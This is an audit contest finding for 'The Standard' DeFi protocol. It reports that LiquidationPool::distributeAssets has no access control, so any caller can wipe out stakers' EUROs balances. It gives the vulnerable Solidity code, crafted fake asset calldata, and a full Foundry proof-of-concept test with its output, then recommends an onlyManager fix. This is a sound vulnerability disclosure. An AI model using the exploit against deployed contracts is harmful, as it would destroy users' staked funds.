The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

Unrestricted Access to `LiquidationPool::distributeAssets(...)` Allows Balance Manipulation and Causes Huge Losses to stakers.

Summary

The LiquidationPool is susceptible to balance manipulation through the unrestricted use of the distributeAssets(...) function. Any user can exploit this vulnerability by calling the function with fake data, resulting in substantial losses for all stakers.

Vulnerability Details

The LiquidationPool::distributeAssets(...) function, responsible for distributing liquidated assets to stakers, lacks restrictions on who can call it. This oversight enables potential exploitation, causing significant losses to all stakers in the system.

function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
consolidatePendingStakes();
(,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
uint256 stakeTotal = getStakeTotal();
uint256 burnEuros;
uint256 nativePurchased;
for (uint256 j = 0; j < holders.length; j++) {
Position memory _position = positions[holders[j]];
uint256 _positionStake = stake(_position);
if (_positionStake > 0) {
for (uint256 i = 0; i < _assets.length; i++) {
ILiquidationPoolManager.Asset memory asset = _assets[i];
if (asset.amount > 0) {
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
}
}
}
positions[holders[j]] = _position;
}
if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
returnUnpurchasedNative(_assets, nativePurchased);
}

GitHub: [205-241]

Since there is no restriction for the function whether who can call it, a malicious user can stake very small amount and become eligible for the liquidated assets rewards. Then he can call LiqduidatePool::distributeAsset(...) with fake data that will cause huge losses to the every staker in the system.

This is how it can be done:

  1. Alice waits for the consolidation of Assets for stakers.

  2. Once consolidated, Alice creates a fake calldata for the LiqduidatePool::distributeAsset(...) something like this:

sset(
ITokenManager.Token({
symbol: "", // necessary for the attack
addr: address(0), // necessary for the attack
dec: 18,
clAddr: address(priceFeeds.wbtcUsdPriceFeed), // choosing most expensive asset price as it will cause the most damage
clDec: 8
}),
1 ether // could be bigger amount
);

Note that setting sumbol: "" and addr: address(0) is necessary in this case as if there is an address in addr then the function tries to transfer tokens from LiquidationPoolManager to LiquidationPool as you can see below:

if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
@> IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}

GitHub: 229-233

If address(0) is provided in addr then the staker's reward portion will be added to nativePurchased. Later this natviePurchased will be used to refund ETH from LiquidationPool to LiquidationPoolManager by subtracting nativePurchased amount from the sent ETH. That means if this is the case then there should be ETH in the LiquidationPool otherwise the function will revert. But this can also be exploited by setting sybmol: bytes("") as the refund function will only refund ETH if there is a symbol for the asset.

function returnUnpurchasedNative(ILiquidationPoolManager.Asset[] memory _assets, uint256 _nativePurchased) private {
for (uint256 i = 0; i < _assets.length; i++) {
@> if (_assets[i].token.addr == address(0) && _assets[i].token.symbol != bytes32(0)) {
(bool _sent,) = manager.call{value: _assets[i].amount - _nativePurchased}("");
require(_sent);
}
}
}

GitHub: [196-203]

  1. Now Alice calls LiquidationPool::distributeAssets(...) with fake data. Then the function calculates proportion for each staker based on that data and deduct's EUROs from staker's balacne and add the liquidated asset to rewards for the same staker. But the rewards will be added for the [msg.sender + symbol("")] which is not a vaild rewards data.

Impact

Stakers will incur substantial losses due to unauthorized manipulation of the LiquidationPool balances.

Proof of Concept

NOTE
The below given test is written in foundry instead of hardhat. To Run the test go to the following repo and follow the instructions given in readme. GitHub: repo

Here is a test that proves that:

function test_AnyOneCanManipulateTheLiquidationPoolBalancesOfStaker() public {
///////////////////////////////
/// Setup ///
///////////////////////////////
uint tstAmount = 100 ether;
uint eurosAmount = 1000 ether;
/////////////////////////////////////////////////
/// minting some tokens to bob ///
/////////////////////////////////////////////////
tokens.eurosToken.mint(bob, eurosAmount);
tokens.tstToken.mint(bob, tstAmount);
////////////////////////////////////////////////////////////
/// Bob increases his stake with full amount ///
////////////////////////////////////////////////////////////
vm.startPrank(bob);
tokens.eurosToken.approve(address(contracts.liquidationPool), eurosAmount);
tokens.tstToken.approve(address(contracts.liquidationPool), tstAmount);
contracts.liquidationPool.increasePosition(tstAmount, eurosAmount);
vm.stopPrank();
//////////////////////////////////////////////////////////////////////
// bob should have correct balance in his position ///
//////////////////////////////////////////////////////////////////////
(LiquidationPool.Position memory bobPosition, LiquidationPool.Reward[] memory bobsRewards) =
contracts.liquidationPool.position(bob);
assertEq(bobPosition.EUROs, eurosAmount, "Bob's euros amount are not eqaul");
assertEq(bobPosition.TST, tstAmount, "Bob's tst amount are not equal");
//////////////////////////////////////////////////////////
/// skipping some time to consolidate stakes ///
//////////////////////////////////////////////////////////
skip(block.timestamp + 1 weeks);
//////////////////////////////////////////////////////////////////////////
// alice setting up data to call distribute asset. ///
// she picked up most expensive price feed of assets ///
// so that most harm is done to the stakers. ///
//////////////////////////////////////////////////////////////////////////
ILiquidationPoolManager.Asset[1] memory _assets;
uint256 rewardsBalance = 1 ether; // will represent 1 wbtc
_assets[0] = ILiquidationPoolManager.Asset(
ITokenManager.Token({
symbol: '', // necessary for the attack
addr: address(0), // necessary for the attack
dec: 18,
clAddr: address(priceFeeds.wbtcUsdPriceFeed), // most epensive asset out of all accepted
clDec: 8
}),
rewardsBalance
);
assets.push(_assets[0]);
/////////////////////////////////////////////////////////////////////////////
// alice called distributeAsset with the fake asset data. ///
/////////////////////////////////////////////////////////////////////////////
(bobPosition, bobsRewards) = contracts.liquidationPool.position(bob);
console2.log("> Bob's EUROs balance Before fake liquidation: %s", bobPosition.EUROs);
console2.log("> Bob's TST balance Before fake liquidation: %s", bobPosition.TST);
vm.startPrank(alice);
contracts.liquidationPool.distributeAssets(assets, uint(constants.DEFAULT_COLLATERAL_RATE), 100_000);
vm.stopPrank();
/////////////////////////////////////////////////////////////////////////
// getting the positions after the fake liquidation ///
// There will be no rewards for any user as well as their ///
// euro's will be spent by the fake amount and added as ///
// a rewards for symbol: bytes32("") and address: staker ///
// which is unclaimable as it's not valid data ///
/////////////////////////////////////////////////////////////////////////
(bobPosition, bobsRewards) = contracts.liquidationPool.position(bob);
console2.log("> Bob's Rewards After fake liquidation: ");
for (uint i; i < bobsRewards.length; i++) {
console2.log('\tToken: %s', string(abi.encode(bobsRewards[i].symbol)));
console2.log('\tReward Earned: %s', bobsRewards[i].amount);
}
console2.log('\n');
console2.log("> Bob's EUROs balance After fake liquidation: %s", bobPosition.EUROs);
console2.log("> Bob's TST balance After fake liquidation: %s", bobPosition.TST);
////////////////////////////////////////////////////
/// Bob tries to withdraw his stake ///
/// but he can't as his euros balance is 0 ///
////////////////////////////////////////////////////
vm.startPrank(bob);
vm.expectRevert("invalid-decr-amount");
contracts.liquidationPool.decreasePosition(tstAmount, eurosAmount);
vm.stopPrank();
/////////////////////////////////////////////////////
/// He also tries to claim his rewards ///
/// but he can't as there will be no rewards ///
/////////////////////////////////////////////////////
vm.startPrank(bob);
contracts.liquidationPool.claimRewards();
vm.stopPrank();
(bobPosition, bobsRewards) = contracts.liquidationPool.position(bob);
console2.log("> Bob's EUROs Balance after he claims his Rewards: %s", bobPosition.EUROs);
console2.log("> Bob's TST Balance after he claims his Rewards: %s",bobPosition.TST);
}

Link to Original Test: [Link]

Output:

[PASS] test_AnyOneCanManipulateTheLiquidationPoolBalancesOfStaker() (gas: 664764)
Logs:
> Bob's EUROs balance Before fake liquidation: 1000000000000000000000
> Bob's TST balance Before fake liquidation: 100000000000000000000
> Bob's Rewards After fake liquidation:
Token: ETH
Reward Earned: 0
Token: WBTC
Reward Earned: 0
Token: ARB
Reward Earned: 0
Token: LINK
Reward Earned: 0
Token: PAXG
Reward Earned: 0
Token: WETH
Reward Earned: 0
> Bob's EUROs balance After fake liquidation: 0
> Bob's TST balance After fake liquidation: 100000000000000000000
> Bob's EUROs Balance after he claims his Rewards: 0
> Bob's TST Balance after he claims his Rewards: 100000000000000000000
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.41ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

As you can see in output, bob has lost all of his staked EUROs.

Tools Used

  • Manual Review

  • Foundry

Recommendations

It is recommended to restrict the LiquidationPool::distributeAssets(...) function to be callable only by LiquidationPoolManager.

- function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
+ function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable onlyManager {
consolidatePendingStakes();
(,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
uint256 stakeTotal = getStakeTotal();
uint256 burnEuros;
uint256 nativePurchased;
for (uint256 j = 0; j < holders.length; j++) {
Position memory _position = positions[holders[j]];
uint256 _positionStake = stake(_position);
if (_positionStake > 0) {
for (uint256 i = 0; i < _assets.length; i++) {
ILiquidationPoolManager.Asset memory asset = _assets[i];
if (asset.amount > 0) {
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
}
}
}
positions[holders[j]] = _position;
}
if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
returnUnpurchasedNative(_assets, nativePurchased);
}
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.